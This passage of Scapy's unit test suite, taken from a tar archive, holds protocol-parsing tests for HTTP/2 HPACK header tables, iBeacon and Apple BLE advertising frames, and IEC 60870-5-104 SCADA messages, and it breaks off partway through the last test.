'HPackZString({})'.format('a'*5000)) = HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers and a large authorized frame size ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} x-long-header: {} '''.format(len(body), 'a'*5000, 'b'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Now trying to parse it with a max frame size large enough for x-long-header to # fit in a frame but a maximum header fragment size that is not large enough to # store two x-long-header seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192) assert(isinstance(seq, h2.H2Seq)) assert(len(seq.frames) == 2) p = seq.frames[0] assert(isinstance(p, h2.H2Frame)) assert(p.type == 1) assert(len(p.flags) == 1) assert('ES' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2HeadersFrame)) hdrs_frm = p[h2.H2HeadersFrame] assert(len(p.hdrs) == 9) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 3) hdr = p.hdrs[1] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index in [4, 5]) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(/login.php)') hdr = p.hdrs[2] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 7) hdr = p.hdrs[3] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 31) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') hdr = p.hdrs[4] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 28) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(22)') hdr = p.hdrs[5] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 58) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') hdr = p.hdrs[6] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') hdr = p.hdrs[7] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 62) hdr = p.hdrs[8] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)) p = seq.frames[1] assert(isinstance(p, h2.H2Frame)) assert(p.type == 9) assert(len(p.flags) == 1) assert('EH' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2ContinuationFrame)) hdrs_frm = p[h2.H2ContinuationFrame] assert(len(p.hdrs) == 1) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000)) = HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers, a large authorized frame size and a "small" max header list size ~ http2 hpack hpackhdrtable helpers body = b'login=titi&passwd=toto' hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 x-long-header: {} x-long-header: {} '''.format(len(body), 'a'*5000, 'b'*5000).encode() h = h2.HPackHdrTable() h.register(h2.HPackLitHdrFldWithIncrIndexing( hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) )) # Now trying to parse it with a max frame size large enough for x-long-header to # fit in a frame but and a max header list size that is large enough to fit one # but not two seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192, max_hdr_lst_sz=5050) assert(isinstance(seq, h2.H2Seq)) assert(len(seq.frames) == 3) p = seq.frames[0] assert(isinstance(p, h2.H2Frame)) assert(p.type == 1) assert(len(p.flags) == 1) assert('ES' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2HeadersFrame)) hdrs_frm = p[h2.H2HeadersFrame] assert(len(p.hdrs) == 8) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 3) hdr = p.hdrs[1] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index in [4, 5]) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(/login.php)') hdr = p.hdrs[2] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 7) hdr = p.hdrs[3] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 31) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') hdr = p.hdrs[4] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 28) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(22)') hdr = p.hdrs[5] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 58) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') hdr = p.hdrs[6] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') hdr = p.hdrs[7] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 62) p = seq.frames[1] assert(isinstance(p, h2.H2Frame)) assert(p.type == 9) assert(len(p.flags) == 0) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2ContinuationFrame)) hdrs_frm = p[h2.H2ContinuationFrame] assert(len(p.hdrs) == 1) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)) p = seq.frames[2] assert(isinstance(p, h2.H2Frame)) assert(p.type == 9) assert(len(p.flags) == 1) assert('EH' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2ContinuationFrame)) hdrs_frm = p[h2.H2ContinuationFrame] assert(len(p.hdrs) == 1) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000)) = HTTP/2 HPackHdrTable : Parsing Textual Representation with sensitive headers and non-indexable ones ~ http2 hpack hpackhdrtable helpers hdrs = ''':method POST :path /login.php :scheme https content-type: application/x-www-form-urlencoded content-length: {} user-agent: Mozilla/5.0 Generated by hand x-generated-by: Me x-generation-date: 2016-08-11 '''.format(len(body)).encode() h = h2.HPackHdrTable() seq = h.parse_txt_hdrs(hdrs, stream_id=1, body=body, is_sensitive=lambda n,v: n in ['x-generation-date'], should_index=lambda x: x != 'x-generated-by') assert(isinstance(seq, h2.H2Seq)) assert(len(seq.frames) == 2) p = seq.frames[0] assert(isinstance(p, h2.H2Frame)) assert(p.type == 1) assert(len(p.flags) == 1) assert('EH' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2HeadersFrame)) hdrs_frm = p[h2.H2HeadersFrame] assert(len(p.hdrs) == 8) hdr = p.hdrs[0] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 3) hdr = p.hdrs[1] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index in [4, 5]) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(/login.php)') hdr = p.hdrs[2] assert(isinstance(hdr, h2.HPackIndexedHdr)) assert(hdr.magic == 1) assert(hdr.index == 7) hdr = p.hdrs[3] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 31) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') hdr = p.hdrs[4] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 28) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(22)') hdr = p.hdrs[5] assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) assert(hdr.magic == 1) assert(hdr.index == 58) assert(hdr.hdr_name is None) assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') hdr = p.hdrs[6] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 0) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') hdr = p.hdrs[7] assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) assert(hdr.magic == 0) assert(hdr.never_index == 1) assert(hdr.index == 0) assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) assert(hdr.hdr_name.data == 'HPackZString(x-generation-date)') assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) assert(hdr.hdr_value.data == 'HPackZString(2016-08-11)') p = seq.frames[1] assert(isinstance(p, h2.H2Frame)) assert(p.type == 0) assert(len(p.flags) == 1) assert('ES' in p.flags) assert(p.stream_id == 1) assert(isinstance(p.payload, h2.H2DataFrame)) pay = p[h2.H2DataFrame] assert(pay.data == body) scapy-2.4.4/test/contrib/ibeacon.uts000066400000000000000000000052441372370053500174260ustar00rootroot00000000000000% iBeacon unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('ibeacon')" -t test/contrib/ibeacon.uts + iBeacon tests = Presence check Apple_BLE_Frame IBeacon_Data Apple_BLE_Submessage = Apple multiple submessages # Observed in the wild; handoff + nearby message. # Meaning unknown. d = hex_bytes('D6BE898E4024320CFB574D5A02011A1AFF4C000C0E009C6B8F40440F1583EC895148B410050318C0B525B8F7D4') p = BTLE(d) assert len(p[Apple_BLE_Frame].plist) == 2 assert p[Apple_BLE_Frame].plist[0].subtype == 0x0c # handoff assert (raw(p[Apple_BLE_Frame].plist[0].payload) == hex_bytes('009c6b8f40440f1583ec895148b4')) assert p[Apple_BLE_Frame].plist[1].subtype == 0x10 # nearby assert raw(p[Apple_BLE_Frame].plist[1].payload) == hex_bytes('0318c0b525') = iBeacon (decode LE Set Advertising Data) # from https://en.wikipedia.org/wiki/IBeacon#Technical_details d = hex_bytes('1E02011A1AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100') p = HCI_Cmd_LE_Set_Advertising_Data(d) assert len(p[Apple_BLE_Frame].plist) == 1 assert p[IBeacon_Data].uuid == UUID("fb0b57a2-8228-44cd-913a-94a122ba1206") assert p[IBeacon_Data].major == 1 assert p[IBeacon_Data].minor == 2 assert p[IBeacon_Data].tx_power == -47 d2 = raw(p) assert d == d2 = iBeacon (encode LE Set Advertising Data) d = hex_bytes('1E0201061AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100') p = Apple_BLE_Submessage()/IBeacon_Data( uuid='fb0b57a2-8228-44cd-913a-94a122ba1206', major=1, minor=2, tx_power=-47) sap = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] assert d == raw(sap) pa = Apple_BLE_Frame(plist=[p]) sapa = pa.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] assert d == raw(sapa) # Also try to build with Submessage directly sapa = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] assert d == raw(sapa) = iBeacon (decode advertising frame) # from https://en.wikipedia.org/wiki/IBeacon#Spoofing d = hex_bytes('043E2A02010001FCED16D4EED61E0201061AFF4C000215B9407F30F5F8466EAFF925556B57FE6DEDFCD416B6B4') p = HCI_Hdr(d) assert p[HCI_LE_Meta_Advertising_Report].addr == 'd6:ee:d4:16:ed:fc' assert len(p[Apple_BLE_Frame].plist) == 1 assert p[IBeacon_Data].uuid == UUID('b9407f30-f5f8-466e-aff9-25556b57fe6d') + Overflow area = Basic overflow area packet d = hex_bytes('14ff4c000100000000000000000000000000000080') p = EIR_Hdr(d) assert raw(p) == d assert len(p[Apple_BLE_Frame].plist) == 1 assert p[Apple_BLE_Submessage].subtype == 0x01 assert p[Apple_BLE_Submessage].len == None payload = p[Apple_BLE_Submessage].payload assert isinstance(payload, Raw) assert raw(payload) == hex_bytes('00000000000000000000000000000080') scapy-2.4.4/test/contrib/iec104.uts000066400000000000000000000370161372370053500170150ustar00rootroot00000000000000% IEC 60870-5-104 test campaign # # execute test: # > test/run_tests -t test/contrib/iec104.uts # + iec104 infrastructure = load the iec104 layer load_contrib('scada.iec104') = class attribute generator assert(IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_4 == 4) assert(IEC104_IE_QOC.QU_FLAG_RESERVED_COMPATIBLE_8 == 8) assert(IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_9 == 9) assert(IEC104_IE_QOC.QU_FLAG_RESERVED_PREDEFINED_FUNCTION_15 == 15) = IEC60870_5_4_NormalizedFixPoint test_data = [ (b'\x9c\x84', -0.963989, -31588), (b'\x46\xf6', -0.075989, -2490), (b'\xc9\xf6', -0.071991, -2359), (b'\x40\xf5', -0.083984, -2752), (b'\x89\x01', 0.011993, 393), (b'\xd2\x0d', 0.107971, 3538), (b'\xd7\x23', 0.279999, 9175), (b'\x76\x3e', 0.487976, 15990), (b'\x08\x6c', 0.843994, 27656), (b'\xff\x7f', 0.999969, 32767) ] nfp = IEC60870_5_4_NormalizedFixPoint('foo', 0) for num_raw, num_fp, num_ss in test_data: i_val = nfp.getfield(None, num_raw)[1] assert(i_val == num_ss) assert(round(nfp.i2h(None, i_val), 6) == round(num_fp, 6)) = Iec104SequenceNumber field iec104_seq_num = IEC104SequenceNumber('rx_seq', 0) test_data = { 1: b'\x02\x00', 2: b'\x04\x00', 14 : b'\x1c\x00', 16 : b'\x20\x00', 73 : b'\x92\x00', 127: b'\xfe\x00', 128: b'\x00\x01', 129: b'\x02\x01', 253: b'\xfa\x01', 254: b'\xfc\x01', 255: b'\xfe\x01', 5912: b'\x30\x2e', 31282: b'\x64\xf4', 32767: b'\xfe\xff' } for key in test_data: assert(iec104_seq_num.getfield(None, test_data[key])[1] == key) assert(iec104_seq_num.addfield(None, b'', key) == test_data[key]) + raw layer dissection = IEC104_U_Message raw_u_msg = b'\x68\x04\x83\x00\x00\x00' lyr = iec104_decode(b'\x68\x04\x83\x00\x00\x00') assert(lyr.__class__ == IEC104_U_Message) = IEC104_S_Message raw_s_msg = b'\x68\x04\x01\x00\xa6\x17' lyr = iec104_decode(raw_s_msg) assert(lyr.__class__ == IEC104_S_Message) = IEC104_I_Message_SeqIOA raw_i_msg_seq_ioa = b'\x68\x1f\x2c\x00\x04\x00' # APCI raw_i_msg_seq_ioa += b'\x01\x92\x14\x00\x23\x00\x12\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # ASDU lyr = iec104_decode(raw_i_msg_seq_ioa) assert(lyr.__class__ == IEC104_I_Message_SeqIOA) = IEC104_I_Message_SingleIOA raw_i_msg_single_ioa = b'\x68\x0e\x00\x00\x00\x00\x64\x01\x06\x00\x0a\x00\x00\x00\x00\x14' lyr = iec104_decode(raw_i_msg_single_ioa) assert(lyr.__class__ == IEC104_I_Message_SingleIOA) + IEC104 S Message = single IEC104 S Message s_msg = b'\x68\x04\x01\x00\xa6\x17' s_msg = IEC104_S_Message(s_msg) assert(s_msg.rx_seq_num == 3027) raw_s_message = b'\x00\x14\xab\x00\x3c\x13\x00\x1b\x8d\xf1\xdc\x12\x08\x00\x45\x10\x00\x3a\x8d\xdb\x40\x00\x3d\x06\x54\x46\x1a\x52\x01\xde\xc1\x28\x15\x5c\xaa\x56\x09\x64\x16\x67\x6c\xd7\x53\x07\x28\x98\x80\x18\x79\x5e\x9b\x14\x00\x00\x01\x01\x08\x0a\x9e\x08\xaa\x23\x73\xe8\x6c\xc3\x68\x04\x01\x00\xc2\x3a' frm = Ether(raw_s_message) s_msg = frm.getlayer(IEC104_S_Message) assert(s_msg) assert(s_msg.rx_seq_num == 7521) frm = Ether(frm.do_build()) s_msg = frm.getlayer(IEC104_S_Message) assert(s_msg) assert(s_msg.rx_seq_num == 7521) = double IEC104 S Message (test layer binding) raw_double_s_message = b'\x00\x14\xab\x00\x3c\x13\x00\x1b\x8d\xf1\xdc\x12\x08\x00\x45\x10\x00\x40\x8d\xdb\x40\x00\x3d\x06\x54\x46\x0c\x35\x1b\x33\xc1\x28\x15\x44\xaa\x56\x09\x64\x16\x67\x6c\xd7\x53\x07\x28\x98\x80\x18\x79\x5e\x9b\x14\x00\x00\x01\x01\x08\x0a\x9e\x08\xaa\x23\x73\xe8\x6c\xc3\x68\x04\x01\x00\xc2\x3a\x68\x04\x01\x00\xc2\x3b' frm = Ether(raw_double_s_message) s_msg = frm.getlayer(IEC104_S_Message) assert(s_msg) assert(s_msg.rx_seq_num == 7521) s_msg = frm.getlayer(IEC104_S_Message, nb=2) assert(s_msg) assert(s_msg.rx_seq_num == 7649) frm = Ether(frm.do_build()) s_msg = frm.getlayer(IEC104_S_Message) assert(s_msg) assert(s_msg.rx_seq_num == 7521) s_msg = frm.getlayer(IEC104_S_Message, nb=2) assert(s_msg) assert(s_msg.rx_seq_num == 7649) + IEC104 U Message = single IEC104 U Message frm = Ether()/IP()/TCP()/IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1) frm = Ether(frm.do_build()) u_msg = frm.getlayer(IEC104_U_Message) assert(u_msg) assert(u_msg.startdt_act == 1) assert(u_msg.startdt_con == 0) assert(u_msg.stopdt_con == 1) assert(u_msg.stopdt_act == 0) assert(u_msg.testfr_act == 1) assert(u_msg.testfr_con == 0) u_msg_tst_act = b'\x68\x04\x43\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_tst_act) assert(u_msg.testfr_act == 1) u_msg_tst_con = b'\x68\x04\x83\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_tst_con) assert(u_msg.testfr_con == 1) u_msg_startdt_act = b'\x68\x04\x07\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_startdt_act) assert(u_msg.startdt_act == 1) u_msg_startdt_con = b'\x68\x04\x0b\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_startdt_con) assert(u_msg.startdt_con == 1) u_msg_stopdt_act = b'\x68\x04\x13\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_stopdt_act) assert(u_msg.stopdt_act == 1) u_msg_stopdt_con = b'\x68\x04\x23\x00\x00\x00' u_msg = IEC104_U_Message(u_msg_stopdt_con) assert(u_msg.stopdt_con == 1) = double IEC104 U Message frm = Ether()/IP()/TCP()/\ IEC104_U_Message(startdt_act = 1, stopdt_con = 1, testfr_act=1)/\ IEC104_U_Message(startdt_con = 1, stopdt_act = 1, testfr_con=1) frm = Ether(frm.do_build()) u_msg = frm.getlayer(IEC104_U_Message) assert(u_msg) assert(u_msg.startdt_act == 1) assert(u_msg.stopdt_con == 1) assert(u_msg.testfr_act == 1) u_msg = frm.getlayer(IEC104_U_Message, nb=2) assert(u_msg) assert(u_msg.startdt_con == 1) assert(u_msg.stopdt_act == 1) assert(u_msg.testfr_con == 1) + IEC104 I Message = Sequence IOA, single IO - information object types dissection for io_id in IEC104_IO_CLASSES: io_class = IEC104_IO_CLASSES[io_id] frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(io=io_class()) frm = Ether(frm.do_build()) io_layer = frm.getlayer(io_class) assert(io_layer) = Single IOA, single IO - information object types dissection for io_id in IEC104_IO_WITH_IOA_CLASSES: io_class = IEC104_IO_WITH_IOA_CLASSES[io_id] frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SingleIOA(io=io_class()) frm = Ether(frm.do_build()) io_layer = frm.getlayer(io_class) assert(io_layer) = Sequence IOA, multiple IOs - information object types dissection frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/IEC104_I_Message_SeqIOA(information_object_address=1234, io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2),IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA) assert(i_msg_lyr) assert(i_msg_lyr.information_object_address == 1234) m_sp_ta_1_lyr = i_msg_lyr.io[0] assert (m_sp_ta_1_lyr.minutes == 1) assert (m_sp_ta_1_lyr.sec_milli == 2) m_sp_ta_1_lyr = i_msg_lyr.io[1] assert (m_sp_ta_1_lyr.minutes == 3) assert (m_sp_ta_1_lyr.sec_milli == 4) = Single IOA, multiple IOs - information object types dissection frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222,minutes = 3, sec_milli = 4)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA) assert(i_msg_lyr) m_sp_ta_1_lyr = i_msg_lyr.io[0] assert (m_sp_ta_1_lyr.information_object_address==1111) assert (m_sp_ta_1_lyr.minutes == 1) assert (m_sp_ta_1_lyr.sec_milli == 2) m_sp_ta_1_lyr = i_msg_lyr.io[1] assert (m_sp_ta_1_lyr.information_object_address==2222) assert (m_sp_ta_1_lyr.minutes == 3) assert (m_sp_ta_1_lyr.sec_milli == 4) = Sequence IOA, multiple APDUs frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SeqIOA(information_object_address=1234, io=[IEC104_IO_C_RC_TA_1(minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1(minutes = 3, sec_milli = 4)])/ \ IEC104_I_Message_SeqIOA(information_object_address=5432, io=[IEC104_IO_C_RC_TA_1(minutes = 5, sec_milli = 6), IEC104_IO_C_RC_TA_1(minutes = 7, sec_milli = 8)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1) assert(i_msg_lyr) assert (i_msg_lyr.information_object_address == 1234) assert(len(i_msg_lyr.io) == 2) assert(i_msg_lyr.io[0].minutes == 1) assert(i_msg_lyr.io[0].sec_milli == 2) assert(i_msg_lyr.io[1].minutes == 3) assert(i_msg_lyr.io[1].sec_milli == 4) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) assert(i_msg_lyr) assert (i_msg_lyr.information_object_address == 5432) assert(len(i_msg_lyr.io) == 2) assert(i_msg_lyr.io[0].minutes == 5) assert(i_msg_lyr.io[0].sec_milli == 6) assert(i_msg_lyr.io[1].minutes == 7) assert(i_msg_lyr.io[1].sec_milli == 8) = Single IOA, multiple APDUs frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=1111, minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(information_object_address=2222, minutes = 3, sec_milli = 4)])/ \ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333, minutes = 5, sec_milli = 6), IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444, minutes = 7, sec_milli = 8)]) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1) assert(i_msg_lyr) assert(len(i_msg_lyr.io) == 2) assert (i_msg_lyr.io[0].information_object_address == 1111) assert(i_msg_lyr.io[0].minutes == 1) assert(i_msg_lyr.io[0].sec_milli == 2) assert (i_msg_lyr.io[1].information_object_address == 2222) assert(i_msg_lyr.io[1].minutes == 3) assert(i_msg_lyr.io[1].sec_milli == 4) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=2) assert(i_msg_lyr) assert(len(i_msg_lyr.io) == 2) assert (i_msg_lyr.io[0].information_object_address == 3333) assert(i_msg_lyr.io[0].minutes == 5) assert(i_msg_lyr.io[0].sec_milli == 6) assert (i_msg_lyr.io[1].information_object_address == 4444) assert(i_msg_lyr.io[1].minutes == 7) assert(i_msg_lyr.io[1].sec_milli == 8) = Mixed Single and Sequence IOA, multiple APDU frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SeqIOA(information_object_address=1111, io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/ \ IEC104_I_Message_SingleIOA(io=[IEC104_IO_C_RC_TA_1_IOA(information_object_address=3333, minutes = 5, sec_milli = 6), IEC104_IO_C_RC_TA_1_IOA(information_object_address=4444, minutes = 7, sec_milli = 8)])/ \ IEC104_I_Message_SeqIOA(information_object_address=5555, io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 9), IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 10)])/ \ IEC104_I_Message_SingleIOA(io=IEC104_IO_C_RP_NA_1_IOA(information_object_address=5555)) frm = Ether(frm.do_build()) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=1) assert(i_msg_lyr) assert (i_msg_lyr.information_object_address == 1111) i_msg_lyr = frm.getlayer(IEC104_I_Message_SeqIOA, nb=2) assert(i_msg_lyr) assert (i_msg_lyr.information_object_address == 5555) i_msg_lyr = frm.getlayer(IEC104_I_Message_SingleIOA, nb=1) assert(i_msg_lyr) assert (i_msg_lyr.io[0].information_object_address == 3333) + mixed APDU types in one packet = I/U/S Message sequence (mixed APDUs) frm = Ether()/IP()/TCP(sport=IEC_104_IANA_PORT, dport=56780)/\ IEC104_I_Message_SeqIOA(information_object_address=1111, rx_seq_num=1234, tx_seq_num=6789, io=[IEC104_IO_C_RC_TA_1_IOA(minutes = 1, sec_milli = 2), IEC104_IO_C_RC_TA_1_IOA(minutes = 3, sec_milli = 4)])/\ IEC104_U_Message()/ \ IEC104_S_Message(rx_seq_num=666) frm = Ether(frm.do_build()) i_msg = frm.getlayer(IEC104_I_Message_SeqIOA) assert(i_msg) u_msg = frm.getlayer(IEC104_U_Message) 